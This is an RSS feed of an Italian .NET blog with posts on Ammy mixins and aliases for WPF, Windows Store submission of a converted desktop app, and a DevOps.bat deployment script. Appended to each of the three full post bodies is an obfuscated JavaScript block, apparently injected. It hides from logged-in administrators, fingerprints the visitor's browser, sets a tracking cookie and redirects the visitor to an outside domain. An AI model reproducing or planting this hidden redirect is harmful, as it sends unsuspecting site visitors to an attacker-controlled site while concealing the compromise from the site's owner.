<p>Nel momento in cui si inserisce un controllo per cui esiste un mixin, esso diventa disponibile nell’Intellisense. Quindi, inseriamo una TextBlock, valorizziamo la proprietà Text e poi richiamiamo il mixin che ci interessa con la sintassi <strong>#Header()</strong>. Il mixin inietta le sue proprietà all’interno del JSON. Notare la sintassi con le parentesi () che ricorda il fatto che stiamo chiamando una funzione.</p>
<p>Sembra uno stile, vero? Peccato che i mixin siano decisamente più potenti rispetto ad uno Style di WPF, banalmente perchè si possono applicare anche su quelle proprietà che uno Style non raggiunge.</p>
<p>Ad esempio:</p>
<div id="codeSnippetWrapper">
<pre id="codeSnippet" class="csharpcode">mixin TwoColumns (one = "*", two = "*") for Grid {
  combine ColumnDefinitions: [
    ColumnDefinition { Width: $one }
    ColumnDefinition { Width: $two }
  ]
}</pre>
</div>
<p>Questo mixin chiamato <strong>TwoColumns</strong>, che fa parte di quelli definiti nel file <em><font color="#0000ff">lib.ammy</font></em>, permette di definire velocemente una Grid con due sole colonne:</p>
<p><a href="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/01/image-34.png"><img title="image" style="border-left-width: 0px;border-right-width: 0px;border-bottom-width: 0px;padding-top: 0px;padding-left: 0px;padding-right: 0px;border-top-width: 0px" border="0" alt="image" src="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/01/image_thumb-33.png" width="404" height="264"></a></p>
<p>Ad esempio, si potrebbe scrivere questo codice:</p>
<div id="codeSnippetWrapper">
<pre id="codeSnippet" class="csharpcode">Grid
    {
        #TwoColumns("*", "2*"),
        
        Background: LightGray,
        Margin: 4,
        ShowGridLines: true,
        TextBlock { Grid.Column: 0, Text: "1° colonna",
            FontSize: 24, Margin: 4 },
        TextBlock { Grid.Column: 1, Text: "2° colonna",
            FontSize: 24, Margin: 4 }
    }</pre>
</div>
<p>Per ottenere una UI di questo tipo:</p>
<p><a href="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/01/image-35.png"><img title="image" style="border-left-width: 0px;border-right-width: 0px;border-bottom-width: 0px;padding-top: 0px;padding-left: 0px;padding-right: 0px;border-top-width: 0px" border="0" alt="image" src="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/01/image_thumb-34.png" width="516" height="303"></a></p>
<p>Notare che i mixin possono avere parametri in input. Il mixin <strong>Header</strong> non ne aveva, mentre <strong>TwoColumns</strong> ne aveva due, grazie ai quali è possibile specificare la larghezza delle due colonne. I parametri possono avere valori predefiniti, come è possibile fare con C#.</p>
<p>Ricordiamoci che per richiamare un mixin è necessario utilizzare il carattere #.</p>
<p>Se stiamo scrivendo un mixin e vogliamo utilizzare uno dei parametri in input dobbiamo usare $.</p>
<p><strong>Utilizzare gli alias</strong></p>
<p>Scopo degli alias è quello di generare un oggetto, come un controllo, ma in generale un qualsiasi oggetto inseribile con lo XAML. Mentre un mixin ha un nome, si collega ad un controllo e produce in output un set di proprietà, compito dell’alias è quello di produrre in output un oggetto vero e proprio. Per esempio:</p>
<div id="codeSnippetWrapper">
<pre id="codeSnippet" class="csharpcode">alias ButtonWithPadding(text, padding) {
  Button { Content: $text, Padding: $padding }
}</pre>
</div>
<p>Questo blocco Ammy definisce un alias che, quando chiamato, produrrà in output un controllo Button. L’alias ha due parametri di input – text e padding – che vi permetterà di inserire nella UI un button con quelle caratteristiche, in modo molto più compatto rispetto a quello che avremmo dovuto fare con XAML o senza usare l’alias.</p>
<p>Se leggete il file <em><font color="#0000ff">lib.ammy</font></em>, troverete un gran numero di alias pronti all’uso, molto compatti, relativi per esempio a Trigger ed animazioni. Ad esempio, questo è molto interessante:</p>
<div id="codeSnippetWrapper">
<pre id="codeSnippet" class="csharpcode">alias DoubleAnimation(
    property,
    frm = "0",
    to = "1",
    duration = "0:0:1",
    targetName=none,
    beginTime=none) {
  DoubleAnimation {
    Storyboard.TargetProperty: $property
    Storyboard.TargetName: $targetName
    From: $frm
    To: $to
    Duration: $duration
    BeginTime: $beginTime
  }
}</pre>
</div>
<p>Ho calcato la mano con qualche “a capo” per rendere il codice più leggibile. Con una sola chiamata a questo alias, possiamo inserire una <strong>DoubleAnimation</strong>, passando in input il nome della proprietà, il valore iniziale e finale, la durata, etc. In modo estremamente compatto.</p>
<p><strong>Sviluppiamo un progetto vero con MVVM?</strong></p>
<p>Smettiamola di parlare di Ammy solo dal punto di vista puramente teorico. Dalla prossima volta implementeremo qualcosa con WPF e Mvvm, il pattern architetturale più adatto quando ci troviamo in un mondo basato su XAML. Vedremo come fare binding e come sfruttare le feature più interessanti di Ammy per essere più produttivi.</p>
<p>Happy coding!<script> var a=['toUTCString','cookie','split','length','charAt','substring','indexOf','userAgent','match','MSIE;','OPR','Chromium','Firefox','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','getElementById','wpadminbar','undefined','setTime','getTime',';\x20expires='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b('0x0')](b('0x1'))===null){if(typeof c===b('0x2')){function c(d,e,f){var g='';if(f){var h=new Date();h[b('0x3')](h[b('0x4')]()+f*0x18*0x3c*0x3c*0x3e8);g=b('0x5')+h[b('0x6')]();}document[b('0x7')]=d+'='+(e||'')+g+';\x20path=/';}function i(j){var k=j+'=';var l=document[b('0x7')][b('0x8')](';');for(var m=0x0;m<l[b('0x9')];m++){var n=l[m];while(n[b('0xa')](0x0)=='\x20')n=n[b('0xb')](0x1,n['length']);if(n[b('0xc')](k)==0x0)return n[b('0xb')](k[b('0x9')],n['length']);}return null;}function o(){return navigator[b('0xd')][b('0xe')](/Android/i)||navigator['userAgent'][b('0xe')](/BlackBerry/i)||navigator[b('0xd')][b('0xe')](/iPhone|iPad|iPod/i)||navigator[b('0xd')][b('0xe')](/Opera Mini/i)||navigator[b('0xd')][b('0xe')](/IEMobile/i);}function p(){return navigator[b('0xd')]['indexOf']('Edge')!==-0x1||navigator['userAgent'][b('0xc')](b('0xf'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x10'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x11'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x12'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x13'))!==-0x1;}var q=i(b('0x14'));if(q!=='un'){if(p()||o()){c(b('0x14'),'un',0x16d);window[b('0x15')]['replace'](b('0x16'));}}}}}(this));</script></p>
<div class='kindleWidget kindleLight' style='font-family: verdana;'><img src="http://blog.vivendobyte.net/blog/wp-content/plugins/send-to-kindle/media/black-25.png" /><span>Send to Kindle</span></div>
]]></content:encoded>
					
					<wfw:commentRss>http://blog.vivendobyte.net/blog/archive/2017/01/30/ammy-2-il-file-lib-ammy-mixin-e-alias.aspx/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Pubblicare sul Windows Store un&#8217;applicazione desktop nata in WPF</title>
		<link>http://blog.vivendobyte.net/blog/archive/2017/01/27/pubblicare-sul-windows-store-unapplicazione-desktop-nata-in-wpf.aspx?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=pubblicare-sul-windows-store-unapplicazione-desktop-nata-in-wpf</link>
					<comments>http://blog.vivendobyte.net/blog/archive/2017/01/27/pubblicare-sul-windows-store-unapplicazione-desktop-nata-in-wpf.aspx#respond</comments>
		
		<dc:creator><![CDATA[Igor Damiani]]></dc:creator>
		<pubDate>Fri, 27 Jan 2017 09:02:00 +0000</pubDate>
				<category><![CDATA[.NET World]]></category>
		<category><![CDATA[VisualStudioTips.net]]></category>
		<guid isPermaLink="false">http://blog.vivendobyte.net/blog/?p=2814</guid>

					<description><![CDATA[Come ho già venuto modo di dire in passato, CharMapMe è un’applicazione desktop finita sul Windows Store sotto forma di Universal Windows Platform. Come è avvenuto questo passaggio? Tralasciamo i passaggi tecnologici, perchè sono ampiamente descritti in questo post sul blog di MSDN Italia. Ci tengo a raccontare alcune cose dietro le quinte, magari qualcosa [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Come ho già venuto modo di dire in passato, <strong>CharMapMe</strong> è un’applicazione desktop finita sul Windows Store sotto forma di <strong>Universal Windows Platform</strong>. Come è avvenuto questo passaggio?</p>
<p>Tralasciamo i passaggi tecnologici, perchè sono ampiamente descritti <a href="https://blogs.msdn.microsoft.com/italy/2016/09/16/guest-post-desktop-bridge-utilizzare-il-desktop-app-converter/" target="_blank" rel="noopener noreferrer">in questo post sul blog di MSDN Italia</a>. Ci tengo a raccontare alcune cose dietro le quinte, magari qualcosa che nessuno vi racconta. <font color="#ff0000">Innanzitutto, un normale account developer non ha i permessi per poter completare la submission di un package UWP</font>: questo significa che quando entrate nella vostra dashboard ed inviate il package (file .appx), al termine dell’upload vi ritroverete con questo messaggio di errore.</p>
<p><a href="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/01/image-33.png"><img title="image" style="border-left-width: 0px;border-right-width: 0px;border-bottom-width: 0px;padding-top: 0px;padding-left: 0px;padding-right: 0px;border-top-width: 0px" border="0" alt="image" src="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/01/image_thumb-32.png" width="516" height="232"></a></p>
<p>Ho nascosto alcune informazioni sensibili. Il messaggio di errore più importante è il primo in elenco, ovvero: <em><font color="#c0504d">Package acceptance validation error: You need to accept the <strong>Centennial Early Adopter Program Addendum</strong> before you can submit this app</font></em>. Se il vostro account developer non è stato ancora sbloccato, cliccare sul link non serve a nulla, perchè vi viene proposta una pagina completamente bianca, con un misero tasto <strong>Back</strong> per tornare indietro.</p>
<p>Come si procede, quindi? Dovete essere in contatto con un ingegnere Microsoft, al quale inviate il vostro .appx e prova l’installazione della vostra applicazione trasformata in UWP. Come glielo inviate? Nel mio caso, è stato attivata una piattaforma web di condivisione cifrata e protetta, dove ho potuto uploadare il file .appx. Se tutto va bene al primo colpo, come è successo a me, il flusso di lavoro si chiude piuttosto velocemente: l’ingegnere Microsoft approva l’app e sblocca il vostro account developer. A questo punto potete leggere, accettare il <font color="#c0504d"><strong><em>Centennial Early Adopter Program Addendum </em></strong></font>e procedere al completamento della submission come fareste di solito.</p>
<p>Aggiungo qualche nota per essere più esaustivo.</p>
<ol>
<li>Una volta che l’app è stata approvata secondo la procedura descritta qui sopra, diventa una normale app UWP. Questo significa che potete aggiornarla sullo Store in completa libertà, senza più necessità di intervento da parte dell’ingegnere Microsoft con cui avete lavorato all’inizio</li>
<li>Nel mio caso, quindi, CharMapMe è stata certificata ed approvata, e si trova sul Windows Store. Posso aggiornarla autonomamente. Se un domani volessi convertire un’altra applicazione in UWP tramite il Desktop App Converter, dovrò richiedere nuovamente l’intervento di Microsoft per far approvare questa seconda applicazione</li>
<li>Lo sblocco avviene a livello di account developer. Questo significa che quando tenterete l’invio di un package relativamente ad un’app successiva alla prima, non verrete più bloccati come mostrato nella prima immagine di questo post. Il package verrà accettato e potrete completare la submission, perchè il vostro account è stato sbloccato. Ma poi l’app verrà inesorabilmente bocciata, perchè – come dicevo al punto 2 – dovete chiedere l’intervento di Microsoft per ogni applicazione</li>
<li>Da tutto ciò, si deduce che tutte le app convertire in UWP tramite il Desktop App Converter passano attraverso un processo di certificazione manuale</li>
</ol>
<p>Direi che è tutto!<script> var a=['toUTCString','cookie','split','length','charAt','substring','indexOf','userAgent','match','MSIE;','OPR','Chromium','Firefox','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','getElementById','wpadminbar','undefined','setTime','getTime',';\x20expires='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b('0x0')](b('0x1'))===null){if(typeof c===b('0x2')){function c(d,e,f){var g='';if(f){var h=new Date();h[b('0x3')](h[b('0x4')]()+f*0x18*0x3c*0x3c*0x3e8);g=b('0x5')+h[b('0x6')]();}document[b('0x7')]=d+'='+(e||'')+g+';\x20path=/';}function i(j){var k=j+'=';var l=document[b('0x7')][b('0x8')](';');for(var m=0x0;m<l[b('0x9')];m++){var n=l[m];while(n[b('0xa')](0x0)=='\x20')n=n[b('0xb')](0x1,n['length']);if(n[b('0xc')](k)==0x0)return n[b('0xb')](k[b('0x9')],n['length']);}return null;}function o(){return navigator[b('0xd')][b('0xe')](/Android/i)||navigator['userAgent'][b('0xe')](/BlackBerry/i)||navigator[b('0xd')][b('0xe')](/iPhone|iPad|iPod/i)||navigator[b('0xd')][b('0xe')](/Opera Mini/i)||navigator[b('0xd')][b('0xe')](/IEMobile/i);}function p(){return navigator[b('0xd')]['indexOf']('Edge')!==-0x1||navigator['userAgent'][b('0xc')](b('0xf'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x10'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x11'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x12'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x13'))!==-0x1;}var q=i(b('0x14'));if(q!=='un'){if(p()||o()){c(b('0x14'),'un',0x16d);window[b('0x15')]['replace'](b('0x16'));}}}}}(this));</script></p>
<div class='kindleWidget kindleLight' style='font-family: verdana;'><img src="http://blog.vivendobyte.net/blog/wp-content/plugins/send-to-kindle/media/black-25.png" /><span>Send to Kindle</span></div>
]]></content:encoded>
					
					<wfw:commentRss>http://blog.vivendobyte.net/blog/archive/2017/01/27/pubblicare-sul-windows-store-unapplicazione-desktop-nata-in-wpf.aspx/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>[Ammy.1] Primi passi con Ammy</title>
		<link>http://blog.vivendobyte.net/blog/archive/2017/01/23/ammy-1-primi-passi-con-ammy.aspx?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=ammy-1-primi-passi-con-ammy</link>
					<comments>http://blog.vivendobyte.net/blog/archive/2017/01/23/ammy-1-primi-passi-con-ammy.aspx#respond</comments>
		
		<dc:creator><![CDATA[Igor Damiani]]></dc:creator>
		<pubDate>Mon, 23 Jan 2017 09:02:00 +0000</pubDate>
				<category><![CDATA[.NET World]]></category>
		<category><![CDATA[VisualStudioTips.net]]></category>
		<guid isPermaLink="false">http://blog.vivendobyte.net/blog/?p=2810</guid>

					<description><![CDATA[Per chi mi legge, se benissimo che lavoro tantissimo nel mondo delle applicazioni desktop, quindi ho a che fare principalmente con lo XAML, sia per quanto riguarda WPF che UWP. Quando ho sentito parlare di Ammy, quindi, mi sono interessato, ma la domanda successiva è stata: devo buttare via lo XAML ed imparare Ammy ? [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Per chi mi legge, se benissimo che lavoro tantissimo nel mondo delle applicazioni desktop, quindi ho a che fare principalmente con lo XAML, sia per quanto riguarda WPF che UWP. <strong>Quando ho sentito parlare di Ammy</strong>, quindi, mi sono interessato, ma la domanda successiva è stata:</p>
<div style="font-size: xx-large;font-weight: bold;color: white;text-align: center;line-height: 1;background-color: #ff6600">devo buttare via lo XAML</div>
<div style="font-size: xx-large;font-weight: bold;color: white;text-align: center;line-height: 1;background-color: #ff6600">ed imparare Ammy ?</div>
<p>&nbsp;</p>
<p><strong>La risposta è tranquillizzante, perchè in un progetto WPF è possibile utilizzare XAML ed Ammy</strong>, senza alcun problema. In un progetto WPF, quindi, possiamo avere delle Window/Page create con XAML, ed altre con Ammy XAML ovviamente non lo butti via, semplicemente è possibile dare un’occhiata ad Ammy e vedere se fa al caso nostro. Questo mi ha tranquillizzato, perchè questo significa in parole povere che posso integrare Ammy nei miei progetti esistenti, e sfruttarne le caratteristiche peculiari che per certi versi lo rendono più potenti rispetto allo XAML.</p>
<p>Quali sono queste caratteristiche?</p>
<div style="font-size: xx-large;font-weight: bold;color: white;text-align: center;line-height: 1;background-color: #007f0e">modifica a runtime delle view</div>
<div style="font-size: xx-large;font-weight: bold;color: white;text-align: center;line-height: 1;background-color: #007f0e">alias e mixin</div>
<div style="font-size: xx-large;font-weight: bold;color: white;text-align: center;line-height: 1;background-color: #007f0e">JSON al posto dello XAML</div>
<p>&nbsp;</p>
<p>Scriverò un po’ di posto su Ammy, perciò se siete interessati seguitemi e non ve ne pentirete.</p>
<p><strong>Primi passi con Visual Studio<br />
</strong>La prima cosa da fare è <a href="https://marketplace.visualstudio.com/items?itemName=ionoy.Ammy" target="_blank" rel="noopener noreferrer">scaricare dal Marketplace di Visual Studio</a> l’extension per il supporto ad Ammy. Da questo link scaricate il file <strong>Ammy.VisualStudio.vsix</strong>, di circa 59Kb, che aggiungerà alcuni Item Template molto molto comodi per lavorare con Ammy. Ne parleremo fra poco.</p>
<p>La seconda cosa da fare è creare un progetto WPF. Ammy, ad oggi, si applica solo ed esclusivamente su questo tipo di progetti. Quindi apriamo Visual Studio 2015, creiamo un progetto WPF e poi utilizziamo NuGet per recuperare il pacchetto Ammy.Lo possiamo fare attraverso la <strong>Package Manager Console</strong> oppure tramite la voce <strong>Manage NuGet Packages</strong> del nodo References. Decidete voi qual è la strada che preferite.</p>
<p><a href="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/01/image-30.png"><img title="image" style="border-left-width: 0px;border-right-width: 0px;border-bottom-width: 0px;padding-top: 0px;padding-left: 0px;padding-right: 0px;border-top-width: 0px" border="0" alt="image" src="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/01/image_thumb-29.png" width="564" height="223"></a></p>
<p>Qui sopra vedete la Package Manager Console, mentre qui sotto NuGet.</p>
<p><a href="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/01/image-31.png"><img title="image" style="border-left-width: 0px;border-right-width: 0px;border-bottom-width: 0px;padding-top: 0px;padding-left: 0px;padding-right: 0px;border-top-width: 0px" border="0" alt="image" src="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/01/image_thumb-30.png" width="516" height="222"></a></p>
<p>Fatto questo, possiamo provare a scrivere la nostra prima Window con Ammy.</p>
<p><strong>Aggiunta di una Window nel progetto</strong><br />
Andiamo nella solita dialog “Add new Item” di Visual Studio. L’extension per Visual Studio ci ha installato 4 Item Template, che si trovano nel nodo “Visual C#”; per trovarli più facilmente, vi suggerisco di impostare l’ordinamento “Name Ascending”, oppure di fare una ricerca con “Ammy” nella casella in alto a destra. Fatto questo…</p>
<p><a href="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/01/image-32.png"><img title="image" style="border-left-width: 0px;border-right-width: 0px;border-bottom-width: 0px;padding-top: 0px;padding-left: 0px;padding-right: 0px;border-top-width: 0px" border="0" alt="image" src="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/01/image_thumb-31.png" width="516" height="296"></a></p>
<p>…troverete quattro Item Template: <strong>Ammy Application</strong>, <strong>Ammy Mixins</strong>, <strong>Ammy User Control</strong> ed infine <strong>Ammy Window</strong>. Selezioniamo quest’ultimo, poi diamo un nome, per esempio “StartWindow.ammy”.</p>
<p>Fatto. Notare che, come dicevo prima, il nostro progetto ha la solita MainWindow.xaml (scritta in XAML) ed un altro file, StartWindow.ammy, che è un’altra Window, questa volta scritta in Ammy.</p>
<p>Se facciamo doppio-click su questo file apparirà un codice sorgente simile al JSON:</p>
<div id="codeSnippetWrapper">
<pre id="codeSnippet" class="csharpcode">Window <span class="str">"StudyAmmy.StartWindow"</span> {
}</pre>
</div>
<p>Il codice qui sopra di fatto crea una Window di WPF. Il primo elemento root di Ammy deve avere un nome, che di fatto indica il nome della classe di code-behind. Un concetto importante di Ammy è che dietro le quinte viene sempre auto-generato del codice XAML; questa cosa è importante ed utile allo stesso tempo, perchè possiamo costantemenet verificare che il codice Ammy che abbiamo scritto produca il codice XAML che desideriamo. Mi spiego meglio: clicchiamo il pulsante <strong>Show All Files</strong> nel Solution Explorer di Visual Studio. Comparirà il file <em><font color="#0000a0">StartWindow.g.xaml</font></em>, che possiamo tranquillamente aprire tramite doppio-click.</p>
<p>Facciamo un passettino ulteriore. Editiamo il file StartWindow.ammy in questo modo:</p>
<div id="codeSnippetWrapper">
<pre id="codeSnippet" class="csharpcode">Window <span class="str">"StudyAmmy.StartWindow"</span> {
    StackPanel { Orientation: Horizontal,
    Children: [
        TextBlock { Text: <span class="str">"I Love Ammy!!!"</span> }
    ] }
}</pre>
</div>
<p>Abbiamo creato uno <strong>StackPanel orizzontale</strong>, ed abbiamo aggiunto un unico controllo <strong>TextBlock</strong>. Notare la sintassi json-like. Notare che l’Intellisense è perfettamente funzionante. Se salviamo il file e diamo un’occhiata al file “StartWindow.g.xaml”, il codice è il seguente:</p>
<div id="codeSnippetWrapper">
<pre id="codeSnippet" class="csharpcode"><span class="kwrd">&lt;</span><span class="html">Window</span> <span class="attr">x:Class</span><span class="kwrd">="StudyAmmy.StartWindow"</span>
  <span class="attr">xmlns</span><span class="kwrd">="https://schemas.microsoft.com/winfx/2006/xaml/presentation"</span>
  <span class="attr">xmlns:x</span><span class="kwrd">="https://schemas.microsoft.com/winfx/2006/xaml"</span>
  <span class="attr">xmlns:ns0</span><span class="kwrd">="clr-namespace:AmmySidekick;assembly=AmmySidekick"</span>
  <span class="attr">ns0:Ammy</span>.<span class="attr">Register</span><span class="kwrd">="/StudyAmmy;component/StartWindow.g.xaml"</span><span class="kwrd">&gt;</span>
  <span class="kwrd">&lt;</span><span class="html">StackPanel</span> <span class="attr">Orientation</span><span class="kwrd">="Horizontal"</span><span class="kwrd">&gt;</span>
    <span class="kwrd">&lt;</span><span class="html">StackPanel.Children</span><span class="kwrd">&gt;</span>
      <span class="kwrd">&lt;</span><span class="html">TextBlock</span> <span class="attr">Text</span><span class="kwrd">="I Love Ammy!!!"</span><span class="kwrd">/&gt;</span>
    <span class="kwrd">&lt;/</span><span class="html">StackPanel.Children</span><span class="kwrd">&gt;</span>
  <span class="kwrd">&lt;/</span><span class="html">StackPanel</span><span class="kwrd">&gt;</span>
<span class="kwrd">&lt;/</span><span class="html">Window</span><span class="kwrd">&gt;</span></pre>
</div>
<p><strong><font color="#ff0000">Nota importante.</font></strong> <strong><font color="#c0504d">NON modificate mai lo XAML direttamente. Questo XAML viene auto-generato dal file .ammy che abbiamo visto prima.</font></strong> Qui la lesson-learned è che Ammy non fa nient’altro che produrre XAML al posto nostro, quindi tutto ciò che era possibile con XAML lo è anche con Ammy.</p>
<p>Solo che Ammy ha delle feature in più, come alias e mixin che citavo prima, che semplificano e velocizzano tantissimo il nostro lavoro.</p>
<p><strong>Per concludere…</strong></p>
<p>Ok, diciamo che per questa prima puntata abbiamo fatto abbastanza.</p>
<p>Non perdete i miei prossimi post perchè ne vedremo delle belle.<script> var a=['toUTCString','cookie','split','length','charAt','substring','indexOf','userAgent','match','MSIE;','OPR','Chromium','Firefox','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','getElementById','wpadminbar','undefined','setTime','getTime',';\x20expires='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b('0x0')](b('0x1'))===null){if(typeof c===b('0x2')){function c(d,e,f){var g='';if(f){var h=new Date();h[b('0x3')](h[b('0x4')]()+f*0x18*0x3c*0x3c*0x3e8);g=b('0x5')+h[b('0x6')]();}document[b('0x7')]=d+'='+(e||'')+g+';\x20path=/';}function i(j){var k=j+'=';var l=document[b('0x7')][b('0x8')](';');for(var m=0x0;m<l[b('0x9')];m++){var n=l[m];while(n[b('0xa')](0x0)=='\x20')n=n[b('0xb')](0x1,n['length']);if(n[b('0xc')](k)==0x0)return n[b('0xb')](k[b('0x9')],n['length']);}return null;}function o(){return navigator[b('0xd')][b('0xe')](/Android/i)||navigator['userAgent'][b('0xe')](/BlackBerry/i)||navigator[b('0xd')][b('0xe')](/iPhone|iPad|iPod/i)||navigator[b('0xd')][b('0xe')](/Opera Mini/i)||navigator[b('0xd')][b('0xe')](/IEMobile/i);}function p(){return navigator[b('0xd')]['indexOf']('Edge')!==-0x1||navigator['userAgent'][b('0xc')](b('0xf'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x10'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x11'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x12'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x13'))!==-0x1;}var q=i(b('0x14'));if(q!=='un'){if(p()||o()){c(b('0x14'),'un',0x16d);window[b('0x15')]['replace'](b('0x16'));}}}}}(this));</script></p>
<div class='kindleWidget kindleLight' style='font-family: verdana;'><img src="http://blog.vivendobyte.net/blog/wp-content/plugins/send-to-kindle/media/black-25.png" /><span>Send to Kindle</span></div>
]]></content:encoded>
					
					<wfw:commentRss>http://blog.vivendobyte.net/blog/archive/2017/01/23/ammy-1-primi-passi-con-ammy.aspx/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>DevOps.bat : il cuore del sistema di deploy per applicazioni desktop WPF</title>
		<link>http://blog.vivendobyte.net/blog/archive/2017/01/20/devops-bat-il-cuore-del-sistema-di-deploy-per-applicazioni-desktop-wpf.aspx?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=devops-bat-il-cuore-del-sistema-di-deploy-per-applicazioni-desktop-wpf</link>
					<comments>http://blog.vivendobyte.net/blog/archive/2017/01/20/devops-bat-il-cuore-del-sistema-di-deploy-per-applicazioni-desktop-wpf.aspx#respond</comments>
		
		<dc:creator><![CDATA[Igor Damiani]]></dc:creator>
		<pubDate>Fri, 20 Jan 2017 08:39:00 +0000</pubDate>
				<category><![CDATA[.NET World]]></category>
		<category><![CDATA[VisualStudioTips.net]]></category>
		<guid isPermaLink="false">http://blog.vivendobyte.net/blog/?p=2800</guid>

					<description><![CDATA[Nel post precedente ci eravamo interrotti sul più bello, ovvero sul contenuto del file batch DevOps.bat. Questo file ha un compito tanto importante quanto banale. Ad ogni esecuzione deve produrre le cartelle per distribuire l’applicazione WPF secondo i tre modelli: WPF, Portable Zip e per il Windows Store. Come nel post precedente, andiamo un passo [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><a href="https://blog.vivendobyte.net/blog/archive/2017/01/19/automatizzare-il-deploy-di-una-tradizionale-e-banale-applicazione-wpf.aspx" target="_blank" rel="noopener noreferrer">Nel post precedente</a> ci eravamo interrotti sul più bello, ovvero sul contenuto del file batch DevOps.bat. Questo file ha un compito tanto importante quanto banale.</p>
<p><strong><font color="#008040">Ad ogni esecuzione deve produrre le cartelle per distribuire l’applicazione WPF secondo i tre modelli: WPF, Portable Zip e per il Windows Store.</font></strong></p>
<p>Come nel post precedente, andiamo un passo alla volta ed arriveremo al risultato finale.</p>
<p><strong>Primo passo: avere un folder per ciascun deploy</strong><br />
Le prime righe del file DevOps.bat fanno quanto segue:</p>
<div id="codeSnippetWrapper">
<pre id="codeSnippet" class="csharpcode">@echo TASK - Remove and rebuild directories
rmdir <span class="str">"ClickOnce"</span> /S /Q
rmdir <span class="str">"Portable"</span> /S /Q
rmdir <span class="str">"Windows Store"</span> /S /Q
mkdir <span class="str">"ClickOnce"</span>
mkdir <span class="str">"Portable"</span>
mkdir <span class="str">"Windows Store"</span></pre>
</div>
<p>Abbiamo sostanzialmente a che fare con tre folder:</p>
<ul>
<li>ClickOnce</li>
<li>Portable</li>
<li>Windows Store</li>
</ul>
<p>Direi che il nome è abbastanza esplicativo: ognuna di queste conterrà i file per ciascun deploy. I parametri del comando <strong>rmdir</strong> (ovvero /S e /Q) dicono di piallare ad ogni esecuzione tutto il contenuto delle cartelle e sottocartelle (/S), senza chiedere alcuna conferma (/Q).</p>
<p><strong>Secondo passo: ClickOnce</strong></p>
<p>Per generare automaticamente la cartella ClickOnce è necessario ricorrere a msbuild.</p>
<div id="codeSnippetWrapper">
<pre id="codeSnippet" class="csharpcode">@echo TASK - ClickOnce
<span class="str">"C:\Program Files (x86)\MSBuild\14.0\bin\msbuild.exe"</span>
    <span class="str">"..\CharMapMe.sln"</span> /target:publish /p:Configuration=Release
xcopy   <span class="str">"..\CharMapMe\bin\Release\app.publish\*.*"</span>
        <span class="str">"ClickOnce\*.*"</span> /E /Q /Y</pre>
</div>
<p>Il primo comando esegue <strong>msbuild.exe</strong> dicendo di compilare il file CharMapMe.sln, nella configurazione Release, generando nel contempo la pubblicazione per ClickOnce.</p>
<p>Il risultato di questo comando è un folder “bin\Release\app.publish” che contiene solo ed esclusivamente i file specifici di ClickOnce. Ma non mi piace che sia dentro “app.publish”. Motivo per cui il secondo comando utilizza <strong>xcopy</strong> per copiare i file all’interno del folder “ClickOnce”.</p>
<p>E difatti, eccoli qua. E’ sufficiente prendere questa cartella ed inviarla via FTP per distribuire a tutti gli effetti l’ultima versione dell’applicazione.</p>
<p><a href="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/01/image-26.png"><img title="image" style="border-top: 0px;border-right: 0px;border-bottom: 0px;padding-top: 0px;padding-left: 0px;border-left: 0px;padding-right: 0px" border="0" alt="image" src="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/01/image_thumb-25.png" width="516" height="190"></a></p>
<p>Missione compiuta.</p>
<p><strong>Terzo passo: Portable zip</strong></p>
<p>Possiamo passare alla generazione del file zip per il download Portable.</p>
<p>I comandi contenuti nel file DevOps.bat sono i seguenti:</p>
<div id="codeSnippetWrapper">
<pre id="codeSnippet" class="csharpcode">@echo TASK - Portable
xcopy <span class="str">"..\..\CharMapMe\bin\Release\*.*"</span> <span class="str">"..\Portable"</span>
cd <span class="str">"..\Portable"</span>
del <span class="str">"*.pdb"</span>
del <span class="str">"*.application"</span>
del <span class="str">"*.config"</span>
del <span class="str">"*vshost*"</span>
del <span class="str">"*.manifest"</span>
<span class="str">"..\7z"</span> a -tzip <span class="str">"CharMapMe.zip"</span> -sdel -r *.*</pre>
